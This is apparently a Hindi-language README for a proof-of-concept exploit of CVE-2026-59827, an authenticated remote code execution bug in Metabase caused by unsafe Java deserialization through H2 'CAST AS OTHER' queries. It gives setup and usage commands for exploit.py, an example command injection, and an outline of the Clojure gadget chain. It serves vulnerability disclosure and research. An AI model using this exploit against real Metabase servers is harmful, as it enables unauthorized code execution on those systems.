
Technical analysis and proof of concept for CVE-2026-59827, a critical unsafe Java deserialization vulnerability in Metabase leading to remote code execution.
गंभीरता: क्रिटिकल (CVSS 9.9)
CVE: CVE-2026-59827
परामर्श: GHSA-w95f-x9v9-wv36
रिपोर्टकर्ता: Matheus Gutierre (@Gutierre0x80)
प्रकाशित: 30 जून, 2026
H2 डेटाबेस पर नेटिव SQL क्वेरीज़ तक पहुँच रखने वाला एक प्रमाणित उपयोगकर्ता, SELECT CAST(X'...' AS OTHER) क्वेरीज़ से लौटाए गए Java ऑब्जेक्ट्स के असुरक्षित डीसेरिएलाइज़ेशन के माध्यम से Metabase सर्वर पर मनमाना Java कोड निष्पादित कर सकता है।
डिफ़ॉल्ट Metabase इंस्टॉलेशन में एक H2 सैंपल डेटाबेस शामिल होता है, जिससे यह भेद्यता सभी डिफ़ॉल्ट डिप्लॉयमेंट्स पर शोषणीय हो जाती है।
pip install requestsexploit.py के समान निर्देशिका में होनी चाहिए:सुनिश्चित करें कि सभी आवश्यक शर्तें स्थापित हैं और PATH में उपलब्ध हैं:
# Install Python requests library
pip install requests
# Verify Java is available (OpenJDK 11+)
java -version
# Verify Python 3.7+
python3 --version
फिर poc/ निर्देशिका से एक्सप्लॉइट चलाएँ:
cd poc/
python3 exploit.py <target_url> <username> <password> <command>
स्क्रिप्ट निष्पादन से पहले सत्यापित करती है कि clojure-1.12.3.jar और VarChainPayload.class कार्यशील निर्देशिका में मौजूद हैं।
python3 exploit.py <target_url> <username> <password> <command>
python3 exploit.py http://127.0.0.1:3000 [email protected] Admin1234! "id > /tmp/pwned.txt"
कमांड Metabase प्रोसेस के संदर्भ में निष्पादित होता है (सामान्यतः Docker में metabase उपयोगकर्ता)।
H2 OTHER कॉलम प्रकार बिना JEP-290 फ़िल्टरिंग के एक साधारण ObjectInputStream का उपयोग करके Java ऑब्जेक्ट्स को डीसेरिएलाइज़ करता है। यह मनमानी क्लास इंस्टैंशिएशन की अनुमति देता है।
पेलोड Clojure की सीरिएलाइज़ेबल क्लासेज़ (clojure.core$apply, clojure.lang.Var$Serialized, और PersistentList) पर आधारित एक गैजेट श्रृंखला का उपयोग करता है, जो Java के PriorityQueue के साथ संयुक्त होकर clojure.core/eval के माध्यम से कोड निष्पादन ट्रिगर करती है।
पूर्ण तकनीकी विश्लेषण के लिए writeup/analysis.md देखें।
| Argument | Description | Example |
|---|
target_url | Metabase इंस्टेंस URL | http://127.0.0.1:3000 |
username | प्रमाणित उपयोगकर्ता (एडमिन या नेटिव क्वेरी एक्सेस वाला) | [email protected] |
password | उपयोगकर्ता पासवर्ड | SecurePassword123! |
command | निष्पादित करने के लिए शेल कमांड | id या whoami |